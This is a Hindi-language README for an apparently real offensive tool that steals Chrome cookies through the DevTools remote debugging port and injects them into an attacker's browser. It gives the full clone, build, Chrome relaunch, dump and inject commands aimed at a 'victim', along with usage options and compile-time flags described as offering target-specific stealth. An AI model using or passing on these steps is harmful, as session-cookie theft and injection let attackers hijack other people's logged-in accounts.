
DevTools (--remote-debugging-port) प्रोटोकॉल के माध्यम से Chrome कुकीज़ चुराना/इंजेक्ट करना।
अपने Remote DevTools प्रोटोकॉल का उपयोग करके Chrome से जुड़ता है और कुकीज़ चुराता/इंजेक्ट करता/साफ़ करता/हटाता है।
इससे बहुत प्रेरित: WhiteChocolateMacademiaNut।
कुकीज़ JSON ऑब्जेक्ट के रूप में डंप की जाती हैं Chrome के अपने प्रारूप का उपयोग करके। लोड की जाने वाली कुकीज़ के लिए भी यही प्रारूप उपयोग किया जाता है।
केवल कानूनी उपयोग के लिए।
पीड़ित की कुकीज़ चुराएँ:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.json
हमलावर के स्थानीय ब्राउज़र में इंजेक्ट करें:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.json
Usage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
Clear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go build ही पर्याप्त होना चाहिए। थोड़ी और लक्ष्य-विशिष्ट छिपाव के लिए निम्नलिखित को कंपाइल समय पर -ldflags '-X main.Foo=bar' के साथ सेट किया जा सकता है।
उपरोक्त में से कोई भी डिफ़ॉल्ट रूप से सेट नहीं है।
Chrome DevTools प्रोटोकॉल थोड़ा गतिशील लक्ष्य है। यदि यह प्रोग्राम काम करना बंद कर दे, तो chromedp और cdproto लाइब्रेरीज़ के नए संस्करण का उपयोग करना आवश्यक हो सकता है। यह निम्नलिखित के साथ किया जा सकता है:
go get -u -v all
go mod tidy
go build
जिसके दुष्प्रभाव से बाकी सब कुछ टूट सकता है।
¯\_(ツ)_/¯
| Variable | Description |
|---|
| DumpFile | उस फ़ाइल का नाम जिसमें कुकीज़ डंप करनी हैं। -dump को दर्शाता है। |
| InjectFile | उस फ़ाइल का नाम जिससे कुकीज़ इंजेक्ट करनी हैं। -inject को दर्शाता है। |
| DeleteFile | हटाने के लिए कुकीज़ का वर्णन करने वाले पैरामीटर वाली फ़ाइल का नाम। -delete को दर्शाता है। |
| DoClear | यदि किसी भी मान पर सेट किया जाए, तो -clear को दर्शाता है। |